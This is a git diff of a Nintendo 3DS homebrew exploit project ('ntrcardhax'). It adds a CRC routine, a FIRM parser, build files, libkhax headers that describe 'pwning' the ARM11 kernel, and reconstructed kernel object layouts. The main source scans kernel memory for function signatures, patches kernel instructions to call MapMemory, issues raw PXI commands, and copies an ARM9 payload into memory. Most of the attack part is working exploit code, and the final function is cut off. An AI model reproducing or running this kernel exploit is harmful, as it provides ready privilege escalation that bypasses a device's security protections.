0x7200, 0xB2C1, 0xB381, 0x7340, 0xB101, 0x71C0, 0x7080, 0xB041,
0x5000, 0x90C1, 0x9181, 0x5140, 0x9301, 0x53C0, 0x5280, 0x9241,
0x9601, 0x56C0, 0x5780, 0x9741, 0x5500, 0x95C1, 0x9481, 0x5440,
0x9C01, 0x5CC0, 0x5D80, 0x9D41, 0x5F00, 0x9FC1, 0x9E81, 0x5E40,
0x5A00, 0x9AC1, 0x9B81, 0x5B40, 0x9901, 0x59C0, 0x5880, 0x9841,
0x8801, 0x48C0, 0x4980, 0x8941, 0x4B00, 0x8BC1, 0x8A81, 0x4A40,
0x4E00, 0x8EC1, 0x8F81, 0x4F40, 0x8D01, 0x4DC0, 0x4C80, 0x8C41,
0x4400, 0x84C1, 0x8581, 0x4540, 0x8701, 0x47C0, 0x4680, 0x8641,
0x8201, 0x42C0, 0x4380, 0x8341, 0x4100, 0x81C1, 0x8081, 0x4040
};
uint16_t CalcCrc(uint8_t *data, uint32_t length)
{
uint16_t crc = (uint16_t)~0;
for(unsigned int i = 0; i<length; i++)
{
crc = (crc >> 8) ^ crc16tab[(crc ^ data[i]) & 0xFF];
}
return crc;
}

View File

@ -0,0 +1,12 @@
#ifndef __CRC_H
#define __CRC_H
#include <cstdio>
#include <cinttypes>
extern unsigned short crc16tab[];
uint16_t CalcCrc(uint8_t *data, uint32_t length);
#endif // __CRC_H

View File

@ -0,0 +1,44 @@
#include "firm.h"
#include <stdio.h>
#include <stdlib.h>
#include <malloc.h>
int firmOpen(firmCtx *ctx, char* filename)
{
FILE* file = fopen(filename, "rb");
if(file)
{
fseek(file, 0, SEEK_END);
ctx->size = ftell(file);
fseek(file, 0, SEEK_SET);
ctx->data = (uint8_t*)malloc(ctx->size);
fread(ctx->data, 1, ctx->size, file);
ctx->header = (firmHeader*)ctx->data;
fclose(file);
return 0;
}
else
return -1;
}
uint8_t* firmGetEntryData(firmCtx *ctx, uint8_t index)
{
if(index > 3) return NULL;
return (ctx->data + ctx->header->entry[index].offset);
}
uint32_t firmGetEntrySize(firmCtx *ctx, uint8_t index)
{
if(index > 3) return NULL;
return ctx->header->entry[index].size;
}
uint8_t* firmGetData(firmCtx *ctx)
{
return ctx->data;
}
uint32_t firmGetSize(firmCtx *ctx)
{
return ctx->size;
}

View File

@ -0,0 +1,34 @@
#pragma once
#include <stdint.h>
typedef struct
{
uint32_t offset;
uint32_t address;
uint32_t size;
uint32_t type;
uint8_t hash[0x20];
} firmEntry;
typedef struct
{
char magic[8];
uint32_t arm11Start;
uint32_t arm9Start;
uint8_t reserved[0x30];
firmEntry entry[4];
uint8_t signature[0x100];
} firmHeader;
typedef struct
{
firmHeader *header;
uint8_t* data;
uint32_t size;
} firmCtx;
int firmOpen(firmCtx *ctx, char* filename);
uint8_t* firmGetEntryData(firmCtx *ctx, uint8_t index);
uint32_t firmGetEntrySize(firmCtx *ctx, uint8_t index);
uint8_t* firmGetData(firmCtx *ctx);
uint32_t firmGetSize(firmCtx *ctx);

174
ntrcardhax_arm11/Makefile Normal file
View File

@ -0,0 +1,174 @@
#---------------------------------------------------------------------------------
.SUFFIXES:
#---------------------------------------------------------------------------------
ifeq ($(strip $(DEVKITARM)),)
$(error "Please set DEVKITARM in your environment. export DEVKITARM=<path to>devkitARM")
endif
TOPDIR ?= $(CURDIR)
include $(DEVKITARM)/3ds_rules
#---------------------------------------------------------------------------------
# TARGET is the name of the output
# BUILD is the directory where object files & intermediate files will be placed
# SOURCES is a list of directories containing source code
# DATA is a list of directories containing data files
# INCLUDES is a list of directories containing header files
#
# NO_SMDH: if set to anything, no SMDH file is generated.
# APP_TITLE is the name of the app stored in the SMDH file (Optional)
# APP_DESCRIPTION is the description of the app stored in the SMDH file (Optional)
# APP_AUTHOR is the author of the app stored in the SMDH file (Optional)
# ICON is the filename of the icon (.png), relative to the project folder.
# If not set, it attempts to use one of the following (in this order):
# - <Project name>.png
# - icon.png
# - <libctru folder>/default_icon.png
#---------------------------------------------------------------------------------
TARGET := $(notdir $(CURDIR))
BUILD := build
SOURCES := source
DATA := data
INCLUDES := include
#---------------------------------------------------------------------------------
# options for code generation
#---------------------------------------------------------------------------------
ARCH := -march=armv6k -mtune=mpcore -mfloat-abi=hard
CFLAGS := -g -Wall -O2 -mword-relocations \
-fomit-frame-pointer -ffast-math \
$(ARCH)
CFLAGS += $(INCLUDE) -DARM11 -D_3DS
CXXFLAGS := $(CFLAGS) -fno-rtti -fno-exceptions -std=gnu++11
ASFLAGS := -g $(ARCH)
LDFLAGS = -specs=3dsx.specs -g $(ARCH) -Wl,-Map,$(notdir $*.map)
LIBS := -lctru -lm
#---------------------------------------------------------------------------------
# list of directories containing libraries, this must be the top level containing
# include and lib
#---------------------------------------------------------------------------------
LIBDIRS := $(CTRULIB)
#---------------------------------------------------------------------------------
# no real need to edit anything past this point unless you need to add additional
# rules for different file extensions
#---------------------------------------------------------------------------------
ifneq ($(BUILD),$(notdir $(CURDIR)))
#---------------------------------------------------------------------------------
export OUTPUT := $(CURDIR)/$(TARGET)
export TOPDIR := $(CURDIR)
export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \
$(foreach dir,$(DATA),$(CURDIR)/$(dir))
export DEPSDIR := $(CURDIR)/$(BUILD)
CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c)))
CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp)))
SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s)))
BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*)))
#---------------------------------------------------------------------------------
# use CXX for linking C++ projects, CC for standard C
#---------------------------------------------------------------------------------
ifeq ($(strip $(CPPFILES)),)
#---------------------------------------------------------------------------------
export LD := $(CC)
#---------------------------------------------------------------------------------
else
#---------------------------------------------------------------------------------
export LD := $(CXX)
#---------------------------------------------------------------------------------
endif
#---------------------------------------------------------------------------------
export OFILES := $(addsuffix .o,$(BINFILES)) \
$(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o)
export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \
$(foreach dir,$(LIBDIRS),-I$(dir)/include) \
-I$(CURDIR)/$(BUILD)
export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib)
ifeq ($(strip $(ICON)),)
icons := $(wildcard *.png)
ifneq (,$(findstring $(TARGET).png,$(icons)))
export APP_ICON := $(TOPDIR)/$(TARGET).png
else
ifneq (,$(findstring icon.png,$(icons)))
export APP_ICON := $(TOPDIR)/icon.png
endif
endif
else
export APP_ICON := $(TOPDIR)/$(ICON)
endif
ifeq ($(strip $(NO_SMDH)),)
export _3DSXFLAGS += --smdh=$(CURDIR)/$(TARGET).smdh
endif
.PHONY: $(BUILD) clean all
#---------------------------------------------------------------------------------
all: $(BUILD)
$(BUILD):
@[ -d $@ ] || mkdir -p $@
@$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile
#---------------------------------------------------------------------------------
clean:
@echo clean ...
@rm -fr $(BUILD) $(TARGET).3dsx $(OUTPUT).smdh $(TARGET).elf
#---------------------------------------------------------------------------------
else
DEPENDS := $(OFILES:.o=.d)
#---------------------------------------------------------------------------------
# main targets
#---------------------------------------------------------------------------------
ifeq ($(strip $(NO_SMDH)),)
$(OUTPUT).3dsx : $(OUTPUT).elf $(OUTPUT).smdh
else
$(OUTPUT).3dsx : $(OUTPUT).elf
endif
$(OUTPUT).elf : $(OFILES)
#---------------------------------------------------------------------------------
# you need a rule like this for each extension you use as binary data
#---------------------------------------------------------------------------------
%.bin.o : %.bin
#---------------------------------------------------------------------------------
@echo $(notdir $<)
@$(bin2o)
# WARNING: This is not the right way to do this! TODO: Do it right!
#---------------------------------------------------------------------------------
%.vsh.o : %.vsh
#---------------------------------------------------------------------------------
@echo $(notdir $<)
@python $(AEMSTRO)/aemstro_as.py $< ../$(notdir $<).shbin
@bin2s ../$(notdir $<).shbin | $(PREFIX)as -o $@
@echo "extern const u8" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"_end[];" > `(echo $(notdir $<).shbin | tr . _)`.h
@echo "extern const u8" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"[];" >> `(echo $(notdir $<).shbin | tr . _)`.h
@echo "extern const u32" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`_size";" >> `(echo $(notdir $<).shbin | tr . _)`.h
@rm ../$(notdir $<).shbin
-include $(DEPENDS)
#---------------------------------------------------------------------------------------
endif
#---------------------------------------------------------------------------------------

View File

@ -0,0 +1,3 @@
@echo off
make
pause

View File

@ -0,0 +1,3 @@
@echo off
make clean
pause

View File

@ -0,0 +1,17 @@
.arm
.align 4
.macro SVC_BEGIN name
.section .text.\name, "ax", %progbits
.global \name
.type \name, %function
.align 2
\name:
.endm
SVC_BEGIN svcMapMemory
push {r4}
mov r4, #3
svc 0x6d
pop {r4}
bx lr

View File

@ -0,0 +1,18 @@
#pragma once
#define KHAX_DEBUG
#include <3ds.h>
#ifdef __cplusplus
extern "C" {
#endif
// Initialize and do the initial pwning of the ARM11 kernel.
Result khaxInit();
// Shut down libkhax
Result khaxExit();
#ifdef __cplusplus
}
#endif

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,361 @@
#pragma once
#ifdef KHAX_DEBUG
#define KHAX_printf(...) printf(__VA_ARGS__)
#else
#define KHAX_printf(...) static_cast<void>(__VA_ARGS__)
#endif
// Shut up IntelliSense warnings when using MSVC as an IDE, even though MSVC will obviously never
// actually compile this program.
#ifdef _MSC_VER
#undef ALIGN
#define ALIGN(x) __declspec(align(x))
#if _MSC_VER < 1900
#define alignof __alignof
#endif
#define KHAX_ATTRIBUTE(...)
#else
#define KHAX_ATTRIBUTE(...) __VA_ARGS__
#endif
#define KHAX_lengthof(...) (sizeof(__VA_ARGS__) / sizeof((__VA_ARGS__)[0]))
//------------------------------------------------------------------------------------------------
namespace KHAX
{
//------------------------------------------------------------------------------------------------
// This code uses offsetof illegally (i.e. on polymorphic classes).
#pragma GCC diagnostic push
#pragma GCC diagnostic ignored "-Winvalid-offsetof"
//------------------------------------------------------------------------------------------------
// Size of a page.
static constexpr const u32 PAGE_SIZE = 0x1000;
//------------------------------------------------------------------------------------------------
// General linked list node kernel object.
struct KLinkedListNode
{
KLinkedListNode *next;
KLinkedListNode *prev;
void *data;
};
static_assert(sizeof(KLinkedListNode) == 0x00C, "KLinkedListNode isn't the expected size.");
//------------------------------------------------------------------------------------------------
// Base class of reference-counted kernel objects.
class KAutoObject
{
public:
u32 m_refCount; // +004
protected:
virtual ~KAutoObject() {}
};
static_assert(sizeof(KAutoObject) == 0x008, "KAutoObject isn't the expected size.");
static_assert(offsetof(KAutoObject, m_refCount) == 0x004, "KAutoObject isn't the expected layout.");
//------------------------------------------------------------------------------------------------
// Base class of synchronizable objects.
class KSynchronizationObject : public KAutoObject
{
public:
u32 m_threadSyncCount; // +008
KLinkedListNode *m_threadSyncFirst; // +00C
KLinkedListNode *m_threadSyncLast; // +010
};
static_assert(sizeof(KSynchronizationObject) == 0x014, "KSynchronizationObject isn't the expected size.");
static_assert(offsetof(KSynchronizationObject, m_threadSyncCount) == 0x008,
"KSynchronizationObject isn't the expected layout.");
//------------------------------------------------------------------------------------------------
struct KDebugThread;
struct KThreadLocalPage;
class KCodeSet;
//------------------------------------------------------------------------------------------------
// Unofficial name
typedef u8 KSVCACL[0x80 / 8];
//------------------------------------------------------------------------------------------------
// ARM VFP register
union KHAX_ATTRIBUTE(__attribute__((__aligned__(4))) __attribute__((__packed__))) VFPRegister
{
float m_single[2];
double m_double;
};
static_assert(alignof(VFPRegister) == 0x004,
"VFPRegister isn't the expected alignment.");
static_assert(sizeof(VFPRegister) == 0x008,
"VFPRegister isn't the expected size.");
//------------------------------------------------------------------------------------------------
// SVC-mode register save area.
// http://3dbrew.org/wiki/Memory_layout#0xFF4XX000
struct SVCRegisterState
{
u32 m_r4; // +000
u32 m_r5; // +004
u32 m_r6; // +008
u32 m_r7; // +00C
u32 m_r8; // +010
u32 m_r9; // +014
u32 m_sl; // +018
u32 m_fp; // +01C
u32 m_sp; // +020
u32 m_lr; // +024
};
static_assert(sizeof(SVCRegisterState) == 0x028,
"SVCRegisterState isn't the expected size.");
//------------------------------------------------------------------------------------------------
// SVC-mode thread state structure. This is the last part of the per-
// thread page allocated in 0xFF4XX000.
// http://3dbrew.org/wiki/Memory_layout#0xFF4XX000
struct SVCThreadArea
{
KSVCACL m_svcAccessControl; // +000
u32 m_unknown010; // +010
u32 m_unknown014; // +014
SVCRegisterState m_svcRegisterState; // +018
VFPRegister m_vfpRegisters[16]; // +040
u32 m_unknown0C4; // +0C0
u32 m_fpexc; // +0C4
};
static_assert(offsetof(SVCThreadArea, m_svcRegisterState) == 0x018,
"ThreadSVCArea isn't the expected layout.");
static_assert(sizeof(SVCThreadArea) == 0x0C8,
"ThreadSVCArea isn't the expected size.");
//------------------------------------------------------------------------------------------------
// Kernel's internal structure of a thread object.
class KThread : public KSynchronizationObject
{
public:
u32 m_unknown014; // +014
u32 m_unknown018; // +018
u32 m_unknown01C; // +01C
u32 m_unknown020; // +020
u32 m_unknown024; // +024
u32 m_unknown028; // +028
u32 m_unknown02C; // +02C
u32 m_unknown030; // +030
u32 m_unknown034; // +034
KDebugThread *m_debugThread; // +038
s32 m_threadPriority; // +03C
void *m_waitingOnObject; // +040
u32 m_unknown044; // +044
KThread **m_schedulerUnknown048; // +048
void *m_arbitrationAddress; // +04C
u32 m_unknown050; // +050
u32 m_unknown054; // +054
u32 m_unknown058; // +058
KLinkedListNode *m_waitingOnList; // +05C
u32 m_unknownListCount; // +060
KLinkedListNode *m_unknownListHead; // +064
KLinkedListNode *m_unknownListTail; // +068
s32 m_threadPriority2; // +06C
s32 m_creatingProcessor; // +070
u32 m_unknown074; // +074
u32 m_unknown078; // +078
u16 m_unknown07C; // +07C
u8 m_threadType; // +07E
u8 m_padding07F; // +07F
void *m_process; // +080
u32 m_threadID; // +084
SVCRegisterState *m_svcRegisterState; // +088
void *m_svcPageEnd; // +08C
s32 m_idealProcessor; // +090
void *m_tlsUserMode; // +094
void *m_tlsKernelMode; // +098
u32 m_unknown09C; // +09C
KThread *m_prev; // +0A0
KThread *m_next; // +0A4
KThread **m_temporaryLinkedList; // +0A8
u32 m_unknown0AC; // +0B0
};
static_assert(sizeof(KThread) == 0x0B0,
"KThread isn't the expected size.");
static_assert(offsetof(KThread, m_svcRegisterState) == 0x088,
"KThread isn't the expected layout.");
//------------------------------------------------------------------------------------------------
// Kernel's internal structure of a process object.
// Version 1.0.0(?) - 7.2.0
class KProcess_1_0_0_Old : public KSynchronizationObject
{
public:
u32 m_unknown014; // +014
u32 m_unknown018; // +018
KThread *volatile m_interactingThread; // +01C
u16 m_unknown020; // +020
u16 m_unknown022; // +022
u32 m_unknown024; // +024
u32 m_unknown028; // +028
u32 m_memoryBlockCount; // +02C
KLinkedListNode *m_memoryBlockFirst; // +030
KLinkedListNode *m_memoryBlockLast; // +034
u32 m_unknown038; // +038
u32 m_unknown03C; // +03C
void *m_translationTableBase; // +040
u8 m_contextID; // +044
u32 m_unknown048; // +048
u32 m_unknown04C; // +04C
u32 m_mmuTableSize; // +050
void *m_mmuTableAddress; // +054
u32 m_threadContextPagesSize; // +058
u32 m_threadLocalPageCount; // +05C
KLinkedListNode *m_threadLocalPageFirst; // +060
KLinkedListNode *m_threadLocalPageLast; // +064
u32 m_unknown068; // +068
s32 m_idealProcessor; // +06C
u32 m_unknown070; // +070
void *m_resourceLimits; // +074
u8 m_unknown078; // +078
u8 m_affinityMask; // +079
u32 m_threadCount; // +07C
KSVCACL m_svcAccessControl; // +080
u32 m_interruptFlags[0x80 / 32]; // +090
u32 m_kernelFlags; // +0A0
u16 m_handleTableSize; // +0A4
u16 m_kernelReleaseVersion; // +0A6
KCodeSet *m_codeSet; // +0A8
u32 m_processID; // +0AC
u32 m_kernelFlags2; // +0B0
u32 m_unknown0B4; // +0B4
KThread *m_mainThread; // +0B8
//...more...
};
static_assert(offsetof(KProcess_1_0_0_Old, m_svcAccessControl) == 0x080,
"KProcess_1_0_0_Old isn't the expected layout.");
//------------------------------------------------------------------------------------------------
// Kernel's internal structure of a process object.
// Old 3DS Version 8.0.0 - 9.5.0...
class KProcess_8_0_0_Old : public KSynchronizationObject
{
public:
u32 m_unknown014; // +014
u32 m_unknown018; // +018
KThread *volatile m_interactingThread; // +01C
u16 m_unknown020; // +020
u16 m_unknown022; // +022
u32 m_unknown024; // +024
u32 m_unknown028; // +028
u32 m_memoryBlockCount; // +02C
KLinkedListNode *m_memoryBlockFirst; // +030
KLinkedListNode *m_memoryBlockLast; // +034
u32 m_unknown038; // +038
u32 m_unknown03C; // +03C
void *m_translationTableBase; // +040
u8 m_contextID; // +044
u32 m_unknown048; // +048
void *m_userVirtualMemoryEnd; // +04C
void *m_userLinearVirtualBase; // +050
u32 m_unknown054; // +054
u32 m_mmuTableSize; // +058
void *m_mmuTableAddress; // +05C
u32 m_threadContextPagesSize; // +060
u32 m_threadLocalPageCount; // +064
KLinkedListNode *m_threadLocalPageFirst; // +068
KLinkedListNode *m_threadLocalPageLast; // +06C
u32 m_unknown070; // +070
s32 m_idealProcessor; // +074
u32 m_unknown078; // +078
void *m_resourceLimits; // +07C
u32 m_unknown080; // +080
u32 m_threadCount; // +084
u8 m_svcAccessControl[0x80 / 8]; // +088
u32 m_interruptFlags[0x80 / 32]; // +098
u32 m_kernelFlags; // +0A8
u16 m_handleTableSize; // +0AC
u16 m_kernelReleaseVersion; // +0AE
KCodeSet *m_codeSet; // +0B0
u32 m_processID; // +0B4
u32 m_unknown0B8; // +0B8
u32 m_unknown0BC; // +0BC
KThread *m_mainThread; // +0C0
//...more...
};
static_assert(offsetof(KProcess_8_0_0_Old, m_svcAccessControl) == 0x088,
"KProcess_8_0_0_Old isn't the expected layout.");
//------------------------------------------------------------------------------------------------
// Kernel's internal structure of a process object.
// New 3DS Version 8.0.0 - 9.5.0...
class KProcess_8_0_0_New : public KSynchronizationObject
{
public:
u32 m_unknown014; // +014
u32 m_unknown018; // +018
KThread *volatile m_interactingThread; // +01C
u16 m_unknown020; // +020
u16 m_unknown022; // +022
u32 m_unknown024; // +024
u32 m_unknown028; // +028
u32 m_unknown02C; // +02C new to New 3DS
u32 m_unknown030; // +030 new to New 3DS
u32 m_memoryBlockCount; // +034
KLinkedListNode *m_memoryBlockFirst; // +038
KLinkedListNode *m_memoryBlockLast; // +03C
u32 m_unknown040; // +040
u32 m_unknown044; // +044
void *m_translationTableBase; // +048
u8 m_contextID; // +04C
u32 m_unknown050; // +050
void *m_userVirtualMemoryEnd; // +054
void *m_userLinearVirtualBase; // +058
u32 m_unknown05C; // +05C
u32 m_mmuTableSize; // +060
void *m_mmuTableAddress; // +064
u32 m_threadContextPagesSize; // +068
u32 m_threadLocalPageCount; // +06C
KLinkedListNode *m_threadLocalPageFirst; // +070
KLinkedListNode *m_threadLocalPageLast; // +074
u32 m_unknown078; // +078
s32 m_idealProcessor; // +07C
u32 m_unknown080; // +080
void *m_resourceLimits; // +084
u32 m_unknown088; // +088
u32 m_threadCount; // +08C
u8 m_svcAccessControl[0x80 / 8]; // +090
u32 m_interruptFlags[0x80 / 32]; // +0A0
u32 m_kernelFlags; // +0B0
u16 m_handleTableSize; // +0B4
u16 m_kernelReleaseVersion; // +0B6
KCodeSet *m_codeSet; // +0B8
u32 m_processID; // +0BC
u32 m_unknown0C0; // +0C0
u32 m_unknown0C4; // +0C4
KThread *m_mainThread; // +0C8
//...more...
};
static_assert(offsetof(KProcess_8_0_0_New, m_svcAccessControl) == 0x090,
"KProcess_8_0_0_New isn't the expected layout.");
// Free block structure in the kernel, the one used in the memchunkhax exploit.
struct HeapFreeBlock
{
int m_count;
HeapFreeBlock *m_next;
HeapFreeBlock *m_prev;
int m_unknown1;
int m_unknown2;
};
static_assert(sizeof(HeapFreeBlock) == 0x014,
"HeapFreeBlock isn't the expected size.");
// The layout of a memory page.
union Page
{
unsigned char m_bytes[4096];
HeapFreeBlock m_freeBlock;
};
static_assert(sizeof(Page) == 0x1000,
"Page isn't the expected size.");
//------------------------------------------------------------------------------------------------
// Done using illegal offsetof
#pragma GCC diagnostic pop
}

View File

@ -0,0 +1,503 @@
/*
* Copyright (C) 2016 - Normmatt
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>
#include <3ds.h>
#include "khax.h"
vu32 gpu_regs[10];
vu16* NTRCARD_MCNT = 0x1EC64000;
vu32* NTRCARD_ROMCNT = 0x1EC64004;
vu64* NTRCARD_CMD = 0x1EC64008;
vu64* NTRCARD_FIFO = 0x1EC6401C;
uint32_t wrapper_adr = -1;
uint32_t map_memory = -1;
uint32_t pxi_base = -1;
u32 PXI_BASE = -1; //virtual address of 0x10163000
u32 wrapperAdr = -1; //svc6D_GetDebugThreadParam
u32 mapMemoryAdr = -1; //MapMemory method
#define FCRAM_BASE 0xE0000000
#define ARM9_PAYLOAD_BASE 0x3F00000
extern Result svcMapMemory(u32 handle, u32 v_address, u32 size_in_pages, u32 is_io);
u32 g_backdoorResult = 0xDEADBABE;
u8* a9buffer = NULL;
u32 a9bufferSize = 0;
#define GenerateArmBLX(a,b) GenerateArmBranch(a,b,0xfa000000)
#define GenerateArmBL(a,b) GenerateArmBranch(a,b,0xeb000000)
#define GenerateArmB(a,b) GenerateArmBranch(a,b,0xea000000)
const u32 GenerateArmBranch(const u32 aSource,const u32 aTarget,const u32 base)
{
u32 result=0;
s32 diff=aTarget-aSource-8;
if(diff<=33554428&&diff>=-33554432&&(diff&3)==0)
{
result=base|((diff>>2)&0xffffff);
}
else
{
printf("invalid arm branch\n");
}
return result;
}
void flush_dcache(void) {
asm volatile (
"MOV R0, #0\n\t"
"MCR p15, 0, R0,c7,c14, 0\n\t"
"MCR p15, 0, R0,c7,c10, 4\n\t"
);
}
void flush_icache(void) {
asm volatile (
"MOV R0, #0\n\t"
"MCR p15, 0, R0,c7,c5, 0\n\t"
"MCR p15, 0, R0,c7,c5, 4\n\t"
"MCR p15, 0, R0,c7,c5, 6\n\t"
"MCR p15, 0, R0,c7,c10, 4\n\t"
);
}
s32 UpdateFramebufferInfo()
{
__asm__ volatile("cpsid aif");
*(vu32*)(FCRAM_BASE + 0x0) = 0;
*(vu32*)(FCRAM_BASE + 0x100) = 0x20000104;
*(vu8*)(FCRAM_BASE + 0x104) = '/';
*(vu8*)(FCRAM_BASE + 0x105) = 's';
*(vu8*)(FCRAM_BASE + 0x106) = 'y';
*(vu8*)(FCRAM_BASE + 0x107) = 's';
*(vu8*)(FCRAM_BASE + 0x108) = 0;
// framebuffers
*(vu32 *)(FCRAM_BASE + 0x3FFFE00) = gpu_regs[0]; // framebuffer 1 top left
*(vu32 *)(FCRAM_BASE + 0x3FFFE04) = gpu_regs[1]; // framebuffer 2 top left
*(vu32 *)(FCRAM_BASE + 0x3FFFE08) = gpu_regs[2]; // framebuffer 1 top right
*(vu32 *)(FCRAM_BASE + 0x3FFFE0C) = gpu_regs[3]; // framebuffer 2 top right
*(vu32 *)(FCRAM_BASE + 0x3FFFE10) = gpu_regs[4]; // framebuffer 1 bottom
*(vu32 *)(FCRAM_BASE + 0x3FFFE14) = gpu_regs[5]; // framebuffer 2 bottom
*(vu32 *)(FCRAM_BASE + 0x3FFFE18) = gpu_regs[6]; // framebuffer select top
*(vu32 *)(FCRAM_BASE + 0x3FFFE1C) = gpu_regs[7]; // framebuffer select bottom
flush_dcache();
flush_icache();
memcpy((void*)(ARM9_PAYLOAD_BASE + FCRAM_BASE), a9buffer, a9bufferSize);
flush_dcache();
flush_icache();
return 0;
}
s32 dump_chunk_wrapper()
{
__asm__ volatile("cpsid aif");
//ffff9000/ffff9004
u32 kprocess = *(vu32*)0xffff9004;
u32 kthread = kprocess+0x1C;
g_backdoorResult = kthread;
// patch to bl to map thread
*(vu32*)(wrapperAdr - 0x1FF80000) = 0xE58D4000; //str r4,[sp]
*(vu32*)(wrapperAdr + 4 - 0x1FF80000) = 0xE1A00000; //nop
*(vu32*)(wrapperAdr + 8 - 0x1FF80000) = 0xE1A00000; //nop
*(vu32*)(wrapperAdr + 12 - 0x1FF80000) = GenerateArmBL(wrapperAdr + 12,mapMemoryAdr); //bl MapMemory
*(vu32*)(wrapperAdr + 16 - 0x1FF80000) = 0xE1A00000; //nop
*(vu32*)(wrapperAdr + 20 - 0x1FF80000) = 0xE1A00000; //nop
*(vu32*)(wrapperAdr + 24 - 0x1FF80000) = 0xE1A00000; //nop
UpdateFramebufferInfo();
return 0;
}
u32* pxi_send(u32 pxi_id, u32* buf, int no_recv) {
static u32 recv_buf[0x40];
u32 n = (buf[0] & 0x3f) + ((buf[0]>>6) & 0x3f);
vu8* PXI_SYNC3 = PXI_BASE+3;
vu32* PXI_CNT = PXI_BASE+4;
vu32* PXI_SEND = PXI_BASE+8;
vu32* PXI_RECV = PXI_BASE+12;
u32 tmp_irqflag = (*PXI_CNT>>10) & 1;
*PXI_CNT &= ~(1<<10);
*PXI_CNT &= ~(1<<2);
while(*PXI_CNT & 2);
*PXI_SEND = pxi_id;
*PXI_SYNC3 |= 0x40;
while(*PXI_CNT & 2);
*PXI_SEND = buf[0];
u32 i;
for(i=0; i<n; i++) {
while(*PXI_CNT & 2);
*PXI_SEND = buf[i+1];
}
if(no_recv)
return NULL;
while(*PXI_CNT & 0x100);
if(*PXI_RECV != pxi_id)
return NULL;
while(*PXI_CNT & 0x100);
u32 hdr = recv_buf[0] = *PXI_RECV;
n = (hdr & 0x3f) + ((hdr>>6) & 0x3f);
for(i=0; i<n; i++) {
while(*PXI_CNT & 0x100);
recv_buf[i+1] = *PXI_RECV;
}
return recv_buf;
}
s32 SendPXISSSSS()
{
UpdateFramebufferInfo();
u32 fs_open_archive_cmd[] = {
0x1200C2, //OpenArchive
0x00000009, //Archive idcode (SDMC)
0x1, //LowPath.Type
0x1, //LowPath.Size
0x106, //(LowPath.Size<<8) | 6
0x20000100 //LowPath.Data pointer
};
u32 *resp = pxi_send(4, fs_open_archive_cmd, 0); // FS
u32 fs_open_file_cmd[] = {
0x101C2, //OpenFile
0x0, //Transaction (usually 0)
resp[2], //Archive handle lower word
resp[3], //Archive handle upper word
0x3, //LowPath.Type
0x3, //LowPath.Size
0x7, //Open flags (1=R, 2=W, 3=RW, 4=C, 5=RC, 6=WC, 7=RWC)
0x0, //Attributes (usually 0)
0x306, //(LowPath.Size<<8) | 6
0x20000100 //LowPath.Data pointer to pointer
};
resp = pxi_send(4, fs_open_file_cmd, 0); // FS
u32 am_reload_dbs_cmd[] = {
0x480040, //ReloadDBS
0x1, //Mediatype (0=NAND, 1=SD, 2=Gamecard) only media type "SD" is allowed.
};
resp = pxi_send(7, am_reload_dbs_cmd, 0); // FS
return (s32)resp;
}
/*s32 ResetCart()
{
__asm__ volatile("cpsid aif");
u32 fs_card_slot_poweroff[] = {
0x280000, //CardSlotPowerOff
};
u32 *resp = pxi_send(4, fs_card_slot_poweroff, 0); // FS
u32 fs_card_slot_poweron[] = {
0x270000, //CardSlotPowerOn
};
return (s32)pxi_send(4, fs_card_slot_poweron, 1); // FS
}
s32 PowerOnCart()
{
__asm__ volatile("cpsid aif");
u32 fs_card_slot_poweron[] = {
0x270000, //CardSlotPowerOn
};
return (s32)pxi_send(1, fs_card_slot_poweron, 0); // FS
}
*/
s32 find_version_specific_addresses()
{
__asm__ volatile("cpsid aif");
for(uint32_t *ii = (uint32_t *)0xDFF80000; ii < (uint32_t *)0xE0000000; ++ii)
{
//svc6D_GetDebugThreadParam
//00 50 2D E9 STMFD SP!, {R12,LR}
//10 D0 4D E2 SUB SP, SP, #0x10
//00 00 8D E5 STR R0, [SP] ; this is the address we want
//04 10 8D E2 ADD R1, SP, #4
//08 00 8D E2 ADD R0, SP, #8
if(wrapperAdr == -1 && 0xE92D5000 == *(ii) && 0xE24DD010 == *(ii + 1) && 0xE58d0000 == *(ii + 2) && 0xE28D1004 == *(ii + 3) && 0xE28D0008 == *(ii + 4))
{
wrapperAdr = ((uint8_t*)ii - 0xDFF80000) + 8;
if(wrapperAdr < 0x20000)
wrapperAdr += 0xfff00000; // 0xDFF80000;
}
//F0 40 2D E9 STMFD SP!, {R4-R7,LR}
//14 D0 4D E2 SUB SP, SP, #0x14
//03 40 A0 E1 MOV R4, R3
//7C C0 9F E5 LDR R12, =0x1F600000
//28 50 9D E5 LDR R5, [SP,#0x28]
else if(mapMemoryAdr == -1 && 0xE92D40F0 == *(ii) && 0xE24DD014 == *(ii + 1) && 0xE1A04003 == *(ii + 2) && 0xE59FC000 == (*(ii + 3)&~0xFFF) && 0xE59D5028 == *(ii + 4))
{
mapMemoryAdr = (uint8_t*)ii - 0xDFF80000;
//Dont need this on 3ds
if(mapMemoryAdr < 0x20000)
mapMemoryAdr += 0xfff00000; // 0xDFF80000;
}
//FF 5F 2D E9 STMFD SP!, {R0-R12,LR}
//1F 04 51 E3 CMP R1, #0x1F000000
//01 40 A0 E1 MOV R4, R1
